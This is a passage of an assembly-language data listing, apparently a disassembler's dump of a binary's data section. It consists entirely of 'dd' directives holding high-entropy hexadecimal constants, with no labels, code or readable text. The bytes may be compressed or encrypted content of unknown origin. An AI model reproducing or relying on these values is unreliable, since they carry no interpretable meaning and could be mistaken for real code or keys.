98CE1D65h, 5D63BB01h dd 2DC4F9Ch, 0C8830006h, 75A5CBDAh, 0E4008AEAh, 6EFFDD96h dd 183944D0h, 0A8E8E1A6h, 41006F17h, 1BCAEF71h, 154A03h dd 2738D4ECh, 8C788884h, 91A30B09h, 0FCD8F95h, 0FE036131h dd 8450F243h, 6CB830Ah, 2CBB454Ch, 0F300C8A6h, 7467A90Fh dd 62ADF9h, 2156E141h, 92EA91F5h, 0E7E3C005h, 0A04319E6h dd 0A0975EE0h, 0C3142Eh, 6EF07CD7h, 0FDD4DA7h, 0C4006CF4h dd 0FD24184Ah, 73084B42h, 3E21F946h, 2A32ECh, 57CA4052h dd 713BF2D9h, 4C019C00h, 137F63DDh, 14EB320Fh, 0E1202429h dd 264AA1CFh, 0C30F5h, 4466CEEAh, 900492Fh, 69A9D1D4h dd 135FF9ADh, 0FEB5E8h, 609E6529h, 4376813Fh, 0DF167D0Eh dd 0C0A32F24h, 1FA2AB3Eh, 169E8F7h, 39C3F344h, 0D049B342h dd 0A40083D1h, 4D659282h, 0C9E1E64h, 0D6FE10EEh, 2E00ED20h dd 0B2168305h, 6796C7h, 24F691C6h, 5BE03E35h, 96039h, 47D03772h dd 889602h, 0B3AD261Ch, 0BA249127h, 4900F771h, 86D6583Ch dd 11EA0Ah, 1EB7B71h, 571336A0h, 0F5F1C00h, 3DD3B2C0h dd 5E9700E0h, 0CB18AD44h, 6B0AF5D9h, 0BC48FF68h, 935DB200h dd 74D3E431h, 0D5CF000Bh, 7B348ADCh, 0A230CBF5h, 9A2E78F7h dd 2EC3E05Eh, 0BA0160h, 0AE4255C4h, 15008B77h, 12BE6908h dd 729F0B75h, 0CCF100B7h, 5133DDE4h, 0F8034516h, 0C9D10449h dd 0C8EFF8D2h, 11C31E27h, 0FE41C744h, 967EA03Ch, 0A900508Ah dd 0D5DA9FC2h, 0FC09A4h, 0F48EC0E1h, 0D981476Fh, 51007971h dd 0C5324A0Eh, 4C687354h, 740252FCh, 703CCA50h, 4761B680h dd 2300193Ah, 64D5DE08h, 7DB6E6C2h, 0CB5005Fh, 93A9C5B8h dd 74EE33C7h, 0D6534B05h, 1D81DE18h, 96C4FAE1h, 22600043h dd 59C4D557h, 0F4EAB831h, 29005170h, 9FF5738Fh, 0ED2C1Ch dd 0DB6BB3AAh, 7E99CF9Eh, 80E7CE3Dh, 0E99DFB0Ch, 0EF1A4Dh dd 0A8E187BAh, 3E256BAEh, 4E543Eh, 589D08FFh, 0E9BC0h dd 62A6E9BDh, 75E0B02Ch, 79DE4900h, 6889F5EFh, 1BED00C3h dd 0FF2129FDh, 0BC07E199h, 73343941h, 9BF06C70h, 861B03B4h dd 0BAE80A9h, 54B5A380h, 0E8FECF00h, 912E78BDh, 5B7ECA4h dd 0E9CB5CC2h, 0D8800B6h, 406BFE70h, 54B7301h, 21829A5Fh dd 12300A71h, 0D95C007Dh, 0ED6E461Dh, 0CC00386Ch, 68E13728h dd 0F3AC98h, 44867E0Ah, 1B7936A7h, 0A5312200h, 47D4D1CFh dd 1788A8ECh, 0AE2B001Ah, 613E02D3h, 0A5FAC08Ah, 3D63DE1Fh dd 5B001BE6h, 54EF5729h, 0E47717C1h, 1B3500A2h, 0C223021Eh dd 10FB1930h, 3571154h, 5A750530h, 0D4E02DE7h, 8B5CB764h dd 15CA0062h, 0A7A96E19h, 0CB10EC7h, 0D240428Ch, 0BC2FE127h dd 13E78000h, 5A54336Fh, 3D8A39E4h, 2BBA0E80h, 0A4738370h dd 8D871B00h, 0B95AFE9Fh, 5B880392h, 0EAC47F77h, 8BC224C8h dd 827AC707h, 0AEE56FB3h, 57C9A800h, 0E4BDD7h, 0B033A03Bh dd 3AF21A37h dd 1F59E0C0h, 1DF9EDh, 0FAEAC708h, 792C2604h, 0B3452203h dd 11A60Fh, 2EBF2948h, 0F1155A98h, 7EE2F801h, 0D3F7A89Ah dd 77F54760h, 0ED10119h, 0B3EDA4BEh, 63B1F0F2h, 5B618200h dd 69CED345h, 8AB20004h, 98EEB387h, 0A21F654Ch, 0B4DD23D7h dd 5100EC1h, 30804297h, 475886D4h, 7D00E491h, 0BB4FFD38h dd 58B868DEh, 517691CEh, 0EEE4F86Ah, 0A39E00A5h, 0C4AAAD1Eh dd 607B64B7h, 0C0C61D30h, 0F77CF1h, 57DFF438h, 3B390F99h dd 8A004198h, 0E8622C97h, 0E089D165h, 8CF900D5h, 15A40C41h dd 370E13DDh, 0C44A7F47h, 48801BE3h, 9032AB83h, 9FC53E2Ch dd 6C037BBCh, 55C6E3E0h, 1A8FC107h, 39C0A693h, 0CA449BBh dd 0A3FB865Eh, 0B00E8021h, 7EB366Ah, 3D51CA4Fh, 0C8FB522Ch dd 1112F21h, 4427DAEDh, 70F68E65h, 950013F0h, 1BBECFEAh dd 776A40Bh, 287420DEh, 57BA01Ch, 2700FC4Eh, 0D2E90C37h dd 3F1B5110h, 3680F5A0h, 0A2823F18h, 0F8A0C65Fh, 0AA00F2CFh dd 4AD93401h, 40F5B6A8h, 1C9093B0h, 0ED095300h, 46F1625Dh dd 0F2EF0972h, 2483BF56h, 4B03268h, 69FAE353h, 1D952F00h dd 8676B1CEh, 193C0035h, 0A4FCBDC6h, 0CF00FADCh, 397C8B2Ch dd 0C273EFh, 0CA42351Bh, 241C8187h, 2D1FE803h, 0E0E6B9B8h dd 0A1E3B2h, 0F59172E1h, 751A0745h, 11F8600h, 0AD2D623Eh dd 3464073Ch, 80148855h, 95BDBA4Eh, 16E7F500h, 0B17AFB69h dd 39C04CA4h, 5B538A00h, 2A9E4EF6h, 9C07AC7Fh, 5E7562DCh dd 64321EE0h, 0C9B20033h, 3817CA66h, 5C002561h, 59B72927h dd 74419Fh, 79BF0A3Dh, 7D3C5F4Ah, 0F700407Dh, 66CBB934h dd 362FB1Ch, 6B5DAD5Bh, 16D00AF2h, 85000CA4h, 37F01DB3h dd 0AEA6DBh, 47A1F13Eh, 0D34C8A60h, 0F90ECCFAh, 60E943B2h dd 28543170h, 0DEC300DAh, 8E5C09B8h, 2A007F41h, 3B7C123Eh dd 0C6EB15h, 39897994h, 3C527867h, 1C627A00h, 0C412D083h dd 47DA3932h, 73E0E600h, 0D7930ED5h, 0DC874F07h, 516097A9h dd 404C84h, 271598FCh, 9CB43034h, 0EA182D60h, 0E841FD89h dd 950A19F6h, 0ED5231D6h, 0B8BC98h, 6C378877h, 87F805h dd 58C741A1h, 7497E932h, 0CFFE9300h, 191F6CE5h, 65600B87h dd 0CA00FCF8h, 2F469509h, 805F973Eh, 0DC5735D4h, 1DDD0F58h dd 0CCB49C6Dh, 798889A0h, 0D7A3F80Ah, 29073C35h, 0FE755246h dd 0EF0D83h, 8D9996AAh, 23CBB069h, 15523300h, 71CA56AEh dd 343D061Dh, 18503E8Bh, 95770217h, 6BF2EE00h, 0E78F6Ah dd 90737087h, 30284ED6h, 0D25D39h, 8C0D0A50h, 38DD31Bh dd 0BE9E8A14h, 4AE0B1BDh, 79036763h, 0D5F96176h, 7250D852h dd 0B27000CBh, 1C974694h, 7E002AFCh, 4B78E361h, 0F6FA84h dd 0DC35A3D8h, 0C8B81AF2h, 29D53200h, 0BF2D7918h, 0E175076Fh dd 0B03584B7h, 4CF414CFh, 0F3005BEEh, 8C1D2052h, 679DF6h dd 0DBA6DA74h, 73851B06h, 52B69E00h, 0EAED3DFCh, 993601DCh dd 0D605939Ch, 2C5EC413h, 0B88610C5h, 0D97BA400h, 7241B4F2h dd 0A5073B4Fh, 16131486h, 50A82882h, 0D6989551h, 2DE92300h dd 0FAEDAD5h, 9E2F01CEh, 0D957054Dh, 89A7F030h, 540B460Ch dd 313884h, 0DC5C9136h, 0CF27306Dh, 372FDD3Ah, 0A3102122h dd 3E3F491h, 0AB184312h, 781FE00Eh, 4EC1BA29h, 2E9E5AE1h dd 1319C8h, 5B14E8FDh, 0E4095660h, 3F989303h, 884B9B88h dd 0F62A4Ch, 77877ECDh, 0E3291CA5h, 9400B5E8h, 0C914A8CAh dd 614D33h, 347709CCh, 0D176DA1Bh, 0F100A7ECh, 0E195146Eh dd 91970Ch, 0B09D4245h, 0F877EEDBh, 724AAA00h, 7D2AC25h dd 0BA60358h, 0ADFE2083h, 0ED2D30DFh, 6D7ED454h, 39385Dh dd 84A0B2A7h, 0C8140F45h, 0E6429929h, 6563213Ah, 0B5001A1h dd 4EEC2417h, 3F21F1EFh, 8805F808h, 7A1EEB71h, 914FA440h dd 0B88166h, 6CDD776Eh, 65F9AD2Ah, 590C8B00h, 0D8045FC0h dd 774B2EAAh, 6BB00B8h, 0D014E913h, 80E4B53Dh, 0C620A41h dd 2A6399h, 0FB178EFDh, 833D94A9h, 3E4E3C00h, 5E1F0A3Ah dd 38B5021Ah, 8EB4CE5Ah, 8FBB4C0h, 83136C98h, 0E416B722h dd 6803ED00h, 0B32E95Dh, 80C5C053h, 4E8C1880h, 9D3F890Bh dd 6B00FDEFh, 846466D4h, 4CC0B6h, 4927F218h, 1CAA0CD2h dd 76E55800h, 3BB8A555h, 40A300C4h, 0A0086485h, 0A2E2062Ah dd 0F3F43400h, 62385004h, 0DA7CBFh, 0A907F60Ah, 4BCCB7AAh dd 6A67A82Ch, 5E4F3C00h, 65F385h, 89D90FFEh, 4710B5DCh dd 1B579000h, 95B4B33Bh, 0AEF608h, 2ED71EE9h, 5569631Dh dd 0CC91700h, 8E4E488Bh, 53F20057h, 94DAB6BEh, 4D0093D0h dd 987513Dh, 0EC69D167h, 3C1C90BFh, 8800A773h, 0BE847E97h dd 9F072C20h, 178689C5h, 7F58240h, 0AEFD00FAh, 5438C4EFh dd 98CF8B3Ch, 14612050h, 0CCB15h, 435E7AF7h, 94658EB6h dd 0E3CCAC0Ch, 389681Eh, 57175B64h, 7DE8812Fh, 0F338528Eh dd 25B980B1h, 0AB924335h, 0DD4500C4h, 912B9F16h, 0AD00F6A8h dd 8D0B09FFh, 39F56Eh, 0EC5C459Bh, 0E40EBC7Dh, 9D3EFE00h dd 7F03061h, 4F6C0023h, 0CF8EDEA1h, 6E032FB6h, 3EE1292Dh dd 0BE30C75Fh, 50D3E678h, 0B0983Ah, 0C183A5E5h, 930B0507h dd 8EE76000h, 55A28D51h, 9E370128h, 1A3BA4CDh, 0F4FEEC6Ah dd 0C4F86D73h, 7F3E3379h, 31B712E2h, 0F886AF00h, 78E2213h dd 5201AD27h, 0DCD99056h, 0A500B14Eh, 0B85D7A0Bh, 79FE1904h dd 0E4F60018h, 15C0CF75h, 0F116FD93h, 0F18072C7h, 61CB48h dd 3B96A8F3h, 0A08AAFF8h, 176CB300h, 6FC0F2A7h, 8A5F4C55h dd 0F6D0380Fh, 9A5B8FC0h, 0E304083Dh, 5E7276F8h, 0EF59C493h dd 9E003A7h, 1C10B7h, 38FBE885h, 1BA1909Fh, 0F5244F00h dd 259CF466h, 91100955h, 0C10034Eh, 9B00DD56h, 4A981CC4h dd 3BEB063Ah, 31816E90h, 0AEB3F92Eh, 8C59F457h, 76D4E524h dd 0B2FBC500h, 94B3C55h, 0B4DC03D1h, 0A2153C01h, 0D1AD035h dd 64B92A01h, 98D0EB66h, 0FA5C3C8h, 48DAE1E9h, 0E777BC00h dd 231208B8h, 4800B0F5h, 0E451ECD0h, 12CA004Bh, 3F02DFC5h dd 9F07D527h, 0FE32461Bh, 0BD63A240h, 0CF430093h, 7345BF6Bh dd 0EB1E7DC4h, 1C80474Dh, 8E0F0210h, 0A6B603D4h, 0B0892F1Fh dd 35EACBD0h, 38E84B00h, 5B48AF7Ch, 77800144h, 0AB13B0BEh dd 0A6D6A8C9h, 8F7AB10Fh, 75E5601Fh, 9F514586h, 0F013A58h dd 0CCA7EEDAh, 0CEC41B0Ah, 1A9B0081h, 0FF7A23F3h, 7004F10h dd 0F8B4F6C3h, 3B5494B0h, 0C0809358h, 605AD216h, 0B500D1C8h dd 0D0979C17h, 0F1967A0h, 9F04E907h, 23CDF2C3h, 0D22DCBA8h dd 481C2AF0h, 1BC063B2h, 0FFEF374Ah, 27210239h, 5AAE3A61h dd 2399C440h, 0C05C401h, 891F9F4Ah, 0E4E0420h, 6121459h dd 9EA4700h, 3030E9BFh, 0B4E6211Dh, 224500F2h, 0EB7476B5h dd 0C3747E59h, 1C5B8540h, 0C0D6C7F6h, 0FEC6DC30h, 0D01D49E0h dd 0DF4043ACh, 271C0791h, 0F2C1142Eh, 0A600E484h, 0F01FE7E6h dd 2600B60Dh, 8BA0F936h, 3187175h, 2238FA58h, 0C0F45FBAh dd 0DDD00D31h, 739B9909h, 1BA80185h, 5024874Ch, 1E50012h dd 24F8F2C4h, 2D02A486h, 5F7CA278h, 0EA5C41CEh, 78343460h dd 0CD60743h, 0E06F6A76h, 0EB2DB103h, 0DD049903h, 0D8FD5D3Bh dd 7BE31ED7h, 0BF68C150h, 24A462A5h, 8D07AA94h, 885D077Bh dd 0B25003Eh, 7657C11Ch, 0FBEF0022h, 929B9A77h, 0CE006C9Eh dd 7458470Eh, 0C74EB7B6h dd 90FC9D30h, 7248CA1Fh, 48694Ch, 0F5599BAEh, 9DCEC4Eh dd 3179C84Ah, 0EE0DAC00h, 610EEDFFh, 0FD438DF4h, 72B0239Bh dd 4C410348h, 0DEF348C3h, 38E301Fh, 14BF7947h, 7E9EB080h dd 0F437001Bh, 4364F265h, 34001F13h, 0FC24B92Bh, 3147548h dd 5CFA6B67h, 0E0806E3Ch, 0A03CCF4Eh, 6D68E042h, 3D9C8ADh dd 994D56E7h, 46A02CC2h, 90A00F96h, 747429ECh, 4F74F00h dd 8C3EB716h, 64756Dh, 2A91612Fh, 1C8BFED9h, 3DF7C0A8h dd 84DCC609h, 74108032h, 0A74089h, 0E2A8B80Bh, 3D3BEED5h dd 4EC65E00h, 5458A67Fh, 386D00EBh, 5CF04A2Ch, 8A5841C7h dd 44350048h, 4981D846h, 1F7C7354h, 415A71AAh, 0B3FEDE55h dd 115FE45Ch, 3D22AE00h, 0F4680E4Dh, 0B16D00BBh, 0DB67CE57h dd 3300157Eh, 0E695852Dh, 3E4A7FC6h, 8D8025D4h, 0E3C3E96Dh dd 0B700BAB9h, 220A398Ch, 0C323Bh, 9E10A11Dh, 46B00389h dd 0EC824Dh, 7C06650Bh, 0C044C45Eh, 26C756E8h, 661233B6h dd 6400AC02h, 80D219Eh, 0D0E207CDh, 7048AAA8h, 66190395h dd 261F2000h, 0E57CD1C6h, 5487003Bh, 5F429C6Dh, 0F60B02FAh dd 8060DF92h, 0E2D6215Ch, 0B028EA4Ah, 4C7F0Ch, 996686D7h dd 0F5DC093Ch, 0A500D490h, 0BCFFE719h, 2AE2A87h, 0BE0374B9h dd 0E840845Eh, 4E00ED3Ah, 2BD694ACh, 7E5B470Dh, 88BA5CABh dd 0C681C10Fh, 0B1F70B87h, 0CFACB9C5h, 0BC2357C8h, 0E6917F00h dd 4D9A6938h, 18FB06CDh, 30860C19h, 0A492C000h, 7C154B87h dd 850A3028h, 0D78AD918h, 9A0CD509h, 50A98Fh, 11757A03h dd 280E3FF7h, 0D4900076h, 4CB408EAh, 0F609FC7Fh, 3A44838h dd 0B05EDA60h, 0D8AA92B1h, 0F0298C10h, 0D99D1B00h, 637D4D37h dd 42080045h, 0AE496A35h, 29059E28h, 0FF272A97h, 0A8D38CD0h dd 8D4C24ABh, 792180F8h, 0F515AFC8h, 10F32601h, 0C3F408D4h dd 9725A89Eh, 0E1300092h, 0EA65224Ah, 0C57D74B2h, 0A40A9D74h dd 0A493DF4Dh, 389FC800h, 260F2309h, 8EB06A65h, 0D60090B9h dd 0FE4054AFh, 7258C500h, 27C89239h, 0B998C125h, 0D4C95C46h dd 2A00E2E3h, 93B60A57h, 0AFACFCh, 0FD199F8h, 8FAEF159h dd 0CB133D03h, 0C0B2E8EFh, 7EC7C4Ah, 8E33B811h, 24E700D7h dd 31029064h, 7B26F922h, 84E04858h, 8641302Bh, 0B4669F98h dd 0AB0D190Eh, 8DD30062h, 0FD0133h, 0EDF4D456h, 9C1211A8h dd 0AD0031E6h, 8B04FB9h, 7980274h, 38333BFEh, 9AE0DF35h dd 42C1B604h, 7A0050FCh, 0DB1B300Fh, 0E8E81391h, 8CFA0008h dd 0E6B9A66h, 0D28B572h, 500E9E3h, 76D58B43h, 0D2E670h dd 58423B1Fh, 0E5949D0Ah, 64002A4Ah, 0E9FBB0D6h, 1D6E2E29h dd 57FD0074h, 4AA72303h, 18DF7900h, 0ADED3386h, 755500BDh dd 97F74EB1h, 0D4008A4Dh, 0ACD3A9A6h, 0E8E3D8h, 3C397C49h dd 0BAA2AAF8h, 0C41D8328h, 0C77E8B1Dh, 72F98C00h, 3F49B2Eh dd 6AB66ED5h, 1589DAC3h, 0DC86F905h, 7A014007h, 7EF0276Bh dd 0E0E233B7h, 79A7342Eh, 626D0081h, 0DA45F95Fh, 0FD02F4BDh dd 646B3C0Fh, 0D89BC09Eh, 20F1480Eh, 0CEF30D07h, 0ACB4D2E6h dd 54271060h, 9824AB07h, 0EF504D6Ch, 7DD210h, 6BE628F2h dd 569732E4h, 4B622600h, 0BA1F6138h, 0FAFE003Eh, 3920BB25h dd 693D2E33h, 404A8063h, 0F1D4B1DDh, 58CE1F92h, 50B381AEh dd 0E4B8C01Eh, 1B013933h, 0D750F65h, 65606935h, 0CFEB036Ch dd 0E4DE7194h, 0BA244EF0h, 0B2550900h, 930457A7h, 89DC03D3h dd 0FB90C48Bh, 3F661000h, 2DC62E30h, 0B52F0308h, 0AC48CC75h dd 91C1A7C8h, 8AE61C76h, 902CBF00h, 36DC2FFh, 95EA001Dh dd 0E7CF7156h, 783F2A31h, 5EF18007h, 0DF6270A1h, 8C521D1Fh dd 6DC405Fh, 797B0CE7h, 0DB1D1500h, 0E220CB98h, 0E8CA0E8Dh dd 39A04544h, 1CC7547Bh, 13DFD200h, 66EC1555h, 486CB009h dd 0B8058CD5h, 0C0804327h, 0E6A2C15Ch, 19447009h, 0FAFC0097h dd 0A182F8h, 436994F6h, 50355BB3h, 0E4ED4400h, 0FF76F0B1h dd 0E6E100B8h, 19BFE004h, 0DC5CCA72h, 463F65h, 3BAB0CD0h dd 73AEE371h, 0A705049Eh, 0A06D5912h, 300E6F8h, 0E4B6A31Fh dd 0EE1CCF6Bh, 1E8100D0h, 9CE3B0D9h, 6A003228h, 0F70A359Dh dd 70E90FF4h, 958324F6h, 226D015Ch, 0E034C6BBh, 6F0010F9h dd 397961C8h, 7C2DE337h, 661B003Dh, 0B1EA4727h, 0E707A503h dd 5BB20194h, 0B9224820h, 0FE140205h, 0C52B324h, 1E0E2868h dd 80F10800h, 0FCC77954h, 214903Ah, 2477DFDDh, 0ECC0272Dh dd 0D8B9481Bh, 281737ACh, 0A4B5400Ah, 7D52D981h, 0C435433Dh dd 1AA064DAh, 42313CDAh, 209FC841h, 0C303B6Eh, 0DF6F3891h dd 6EC80072h, 98ACBDCEh, 3600B596h, 5811611Ch, 17586EFh dd 855B5F20h, 3092D3DDh, 0D208BCB0h, 0B2118B2h, 3502F4E9h dd 0C0501327h, 47667D00h, 0A85FA1ACh, 3A440079h, 0BAFEE108h dd 1B1F024Dh, 0FC1F9Ah, 5D5B8BCDh, 2EF03ADh, 54132B3Dh dd 0B0603975h, 2A00C949h, 0A33A3E4Dh, 24307Ch, 0A070E85Eh dd 93088583h, 2055C8CEh, 56C93274h, 0E98800F4h, 5F7AD6AEh dd 100E861h, 869695B5h, 0C4DE3Ch, 36E40487h, 0A1DD9754h dd 9BE31F09h, 305841BDh, 0ADC870h, 0FDC52C52h, 4F97F4FFh dd 0C878EB00h, 5F7EA993h, 0F3CE073Dh, 27339ABFh, 1D0480F4h dd 0B4006E7Ah, 0C35A52AEh, 1458CFh, 4F7406DAh, 3BE6A663h dd 6F865912h, 0BCBB5C00h, 1F52FB22h, 81CC8060h, 0D6E95B10h dd 6820802Ch, 51795EB4h, 0D1500B08h, 9020C58Dh, 0BD728357h dd 744F9024h, 0B3C35D83h, 1AAAE0CEh, 0A9DF0011h, 7380C6E0h dd 0F5004303h, 0D5ECA6C1h, 0EEBE341Bh, 62241F54h, 88037A82h dd 8679B7E8h, 1E461900h, 0C99A158Dh, 0FBE900A1h, 0FC2D80EBh dd 28028579h, 2AD301F8h, 5CA06163h, 0F7DB9C8h, 0A8F3606Eh dd 4CFA6887h, 6F007E19h, 6BBF2F5Dh, 4D90CCh, 19E9A97Bh dd 643EFEEFh, 17D29C58h, 6800208Fh, 0B3A1AD53h, 84650190h dd 974C8CB6h, 5574F405h, 0AEB5F107h, 7D4042A9h, 1AEED9h dd 0D226F337h, 0FA185D6h, 6CA02E04h, 0B0803514h, 4892372h dd 39F59052h, 58E38057h, 0F30088B7h, 0C6BD42F4h, 48A12C84h dd 0C300000Ah, 2D73E049h, 0CC05BCAAh, 3B580D89h, 5334A090h dd 14FE0020h, 0D6D1412Fh, 0B407A31Ah, 15F075F9h, 0EFFB9110h dd 9EC30730h, 0B0A90946h, 0CAFD2F9Bh, 0EB56939h, 0F3138018h dd 5498C114h, 0D0009238h, 8B614B48h, 45D3BEh, 544F1F91h dd 0CCC0501Eh, 94A26400h, 0B232245Ah, 0AC2C5868h, 768050h dd 5EE95DDBh, 4E880CCBh, 6C274B0Eh, 100B20DEh, 192901h dd 0AB946B52h, 124F2FAEh, 0E721300h, 3782C13Ch, 0DC183060h dd 235C0F40h, 0E6D3F201h, 0D1B9251h, 688018BBh, 0D785F33Fh dd 7324D167h, 0B79748AAh, 11DFC28h, 0E937B1ACh, 0F834F566h dd 0F335DD8h, 0D0AF2072h, 0E105EB2h, 63FA8E22h, 0AE2DDB60h dd 582ED8B9h, 5900CBC7h, 0FF66620Ah, 0E7E00012h, 139C1F70h dd 9009A2Eh, 0F498672Ch, 5CB83D5Dh, 0B0085E9h, 8670B447h dd 0C20035C7h, 0BA884FA4h, 0B3FC01Ch, 2B0A7BCh, 9580440Fh dd 898BC891h, 0A18C5000h, 11472F42h, 7E680039h, 0B7BDA240h dd 0F026E7Bh, 272B2904h, 9178601Ch, 1E44982Eh, 409D4B1Dh dd 3AFEF5A8h, 1207532Bh, 0F7F83151h, 77C9E910h, 620B07A9h dd 82AAF352h, 7CD8E332h, 0EF677C0Eh, 0FA9C8208h, 0D17860C6h dd 4DCF01AEh, 4C07983Bh dd 0E19C607Bh, 0A52A3006h, 1F107E12h, 7C5B2557h, 0CC3B9A00h dd 11FB6505h, 4A324300h, 9CD9E8Dh, 0A3E09E2h, 10916CCAh dd 20A2F17Ah, 8C00AC2Ah, 0C873F75h, 0E2A602F8h, 245E1F95h dd 493080A2h, 0C9888F12h, 181A2C1Ch, 3E9DCFC0h, 93AFBAh dd 0D99DD6Ch, 764E803Fh, 9A264700h, 97F3F016h, 88580049h dd 0E8A5541h, 84B79F8h, 0D8924800h, 3D281376h, 1160EAB9h dd 61309E31h, 8ABA1B07h, 9A30B148h, 536A17h, 6673497Bh dd 0C586B9CBh, 91E13900h, 0E7E6705Dh, 0B4E000C2h, 0F64E632Fh dd 2A00A6A3h, 0B1BF6F80h, 90EC7E49h, 6AE0034Dh, 85D543AAh dd 51FFE188h, 246E624Ch, 0A600F838h, 6D748425h, 0ACB700EAh dd 0ECC67D9h, 0DD0178C9h, 0DF701DAFh, 4389B05h, 1C398903h dd 0EAC8E16Ah, 0FDEC115Fh, 203BDD00h, 6F281950h, 2CE07463h dd 85C822FFh, 90AA1434h, 3D30AD30h, 0DF012C00h, 6D510267h dd 0C3577CA0h, 21D52521h, 0B8A43900h, 0B363770Ah, 632F9009h dd 8362185Fh, 2A187BC0h, 544D3800h, 103D2F6Eh, 0F87400A2h dd 20B5C636h, 0AA182490h, 0B830697Fh, 0D7400CE4h, 1A612542h dd 724DC701h, 8A0ABB69h, 803820ACh, 32AD61D8h, 0DBF848DEh dd 0E5C00CA0h, 58A43F19h, 7B006998h, 0AC2ADF63h, 0B800A80Fh dd 0E5040E0h, 0F0E3FFh, 0A72E7330h, 3D62D07Bh, 9963DD1Ch dd 0A5FA00FEh, 0D90E37CFh, 84BC1D45h, 0F84CC03Bh, 5555BB6h dd 6E5C7000h, 0BE92165Fh, 0B4000AAh, 6AD24965h, 3E00B37Fh dd 289062Bh, 3685F05h, 3CCA63B0h, 4F801D75h, 0AF062B78h dd 6918723h, 0A4BB00CAh, 266A19CEh, 0A90F2C7Eh, 0E0DC3603h dd 64C41C66h, 0ECC89013h, 10BD009Fh, 0B12E7963h, 6F26B7B0h dd 803E6FC9h, 0C00B7A66h, 0F3AF8C2Ah, 0ECF48D61h, 0C6C2853h dd 0ED8F0184h, 4EC4F77Dh, 0C026C119h, 820054B5h, 0DFAD0E76h dd 1F8DEBD4h, 4170BDD7h, 45D08F43h, 61ABE0D3h, 0A48AF00h dd 23FA937Ch, 714316DDh, 0A624099Dh, 2BDA3100h, 35005AAAh dd 0AD194122h, 5F8B5E31h, 0D5F04056h, 7CB27405h, 4DE0217h dd 2D9910D0h, 9BCC00A3h, 2F47689Dh, 3D008AA1h, 238FAF7Ah dd 1D5FFBE8h, 40927332h, 0F569374Ah, 0FD015B41h, 0A3832EB8h dd 0F4F0C146h, 3E5FE36h, 51ECBCFh, 0C0F449BFh, 80F6434Bh dd 0EDC22707h, 770D03Ah, 980D5Fh, 0B072F5D5h, 0C1CB1EF2h dd 79B9CC00h, 2D4D8217h, 357D7Eh, 2CBC0AECh, 45D45BF4h dd 761E4677h, 8809732h, 0A3A1176Bh, 0B8D2009Fh, 0F19354F4h dd 3300BD0Ah, 275AD8CEh, 2EFBD455h, 179F2123h, 94610056h dd 4F7B0ECFh, 260C090h, 0F8C921E8h, 0BC113EA8h, 0A92ECD07h dd 9A002F08h, 4C27FD9Eh, 0AA122400h, 0A798E0F6h, 0BA9B1299h dd 1BA00450h, 0C7B0C8D3h, 3D8A14Dh, 9F4B85DBh, 80E2B3D0h dd 0F203BD8Ch, 2EFC005Ch, 3AFAEA20h, 1001AFF3h, 0C5509809h dd 0BE43270h, 4359C1BBh, 70084623h, 41177974h, 511EFBA3h dd 3E1C002Fh, 7C5BFAB9h, 896E00DEh, 0CC83B338h, 37753076h dd 14E97400h, 16EAE5A5h, 568400D3h, 5C1B50C6h, 7B00076Ah dd 797E730Eh, 76AE15h, 4B921089h, 484D617Dh, 3C0D8F1Fh dd 0B1E8B2C7h, 2AC8D710h, 0B48D0C02h, 96E88151h, 5B82580Bh dd 0BE8987F2h, 0E2EA4F70h, 7D7578h, 94CEB4C1h, 9C666F46h dd 28D61400h, 6BBA909Eh, 0F34842h, 1BD0E200h, 0A7708156h dd 73E72007h, 88C0108Fh, 0B053FCh, 0F7EF4CBBh, 0D20A8A24h dd 0A4F92B12h, 0E0EE280Fh, 0D463A317h, 0D73701A6h, 1127960Fh dd 90FCC0B2h, 6618C01h, 0CEA1A8EEh, 782E33E4h, 0D6B6011Ch dd 0ED10BFB3h, 0EFC741Fh, 2B3B4E00h, 223CD414h, 1E040416h dd 0E09E11AEh, 0B27AF360h, 3281A700h, 0CE67E252h, 43630369h dd 85390E14h, 191C97D0h, 0AF7E030Eh, 283434h, 8C84A63Eh dd 7A79525Dh, 80B56103h, 20BC10Fh, 0A50D005Ch, 5A00AF43h dd 6C320799h, 38E1E7D7h, 0B304578Ah, 0C4C5DE37h, 0FA858045h dd 1A002F92h, 69FFFD31h, 30C0C11Dh, 0E2B08F8Dh, 6D00024Dh dd 7D57FA96h, 0B826629Fh, 596402BCh, 0A777768Bh, 2F962848h dd 1521C309h, 414C00E3h, 0F68649F1h, 0EB24034Bh, 7B04B02Dh dd 767490E0h, 9C80952Ah, 8F01A60Fh, 0F7D820B7h, 75F3CEh dd 0AB47EC9Ch, 0C8E95184h, 0C9F033FCh, 0B3434E00h, 16CA5FFEh dd 616E743Ah, 719F8088h, 6BE2F431h, 0DFB71D00h, 0F2A609A9h dd 0E22057Dh, 0C3FD4B35h, 0CCC8DA4Ch, 520C57A7h, 52393804h dd 13471D40h, 0D14147F0h, 0FC42E075h, 9700EECFh, 19E9BC16h dd 0F3BAF9h, 99605120h, 3690E221h, 8E00D1F8h, 3E0C9E29h dd 3FF37C7h, 0BFDB007h, 78F8AB39h, 10CEB174h, 5DF28002h dd 5C2E71D6h, 28001103h, 0DC90EC5Eh, 9D01F037h, 7D91E724h dd 0F3D0845Fh, 2C0B0001h, 4E281CE0h, 6E0094A4h, 74D03746h dd 0E22548h, 93FB1ADEh, 0B9B7DB54h, 0A7441E1Fh, 946E1800h dd 9F62FFh, 0BBC74D6Bh, 503AEF48h, 2E548E1Dh, 8FD97B40h dd 2ECD2435h, 261EBC3Bh, 0E0A80360h, 0B9C3CE3Fh, 9C86E8D8h dd 208C9A01h, 0F8A48EBBh, 0F5CA360h, 2E23067Fh, 901E67C7h dd 1AB495A8h, 7D003E7Ah, 1863D18Ah, 0F8766Dh, 58866E21h dd 0C3F6BB19h, 5570EB03h, 0BC1B2Ah, 0D25E3998h, 19C89AFDh dd 0F2845701h, 4E8F8E2Bh, 0AD124C5h, 11A4FA21h, 9B7D00CCh dd 7EDA3DFEh, 18811630h, 0A4D4ACh, 2D74465h, 2AAF2D3Eh dd 0B6A60F00h, 0AEEF4D22h, 0F6590C23h, 0C1C2EB93h, 94CCEE07h dd 52A0EA62h, 0E0C238C6h, 0F90C0027h, 0ADCB4CA8h, 0C50F3D5Ah dd 805CA32Ah, 2875A1E0h, 5D6200A2h, 7F93A510h, 3603545Ah dd 173E7B92h, 693490CAh, 0E9782Fh, 90EE646Fh, 666DAF3h dd 8A0068E0h, 0E0501932h, 5FE52Bh, 53510C71h, 0A12E4F48h dd 3DA7AA00h, 15D87C43h, 556A014Ch, 0A01B49C3h, 240170BCh dd 8AC2903Dh, 0E9143176h, 7860CB00h, 0F8563DBh, 6671752Ch dd 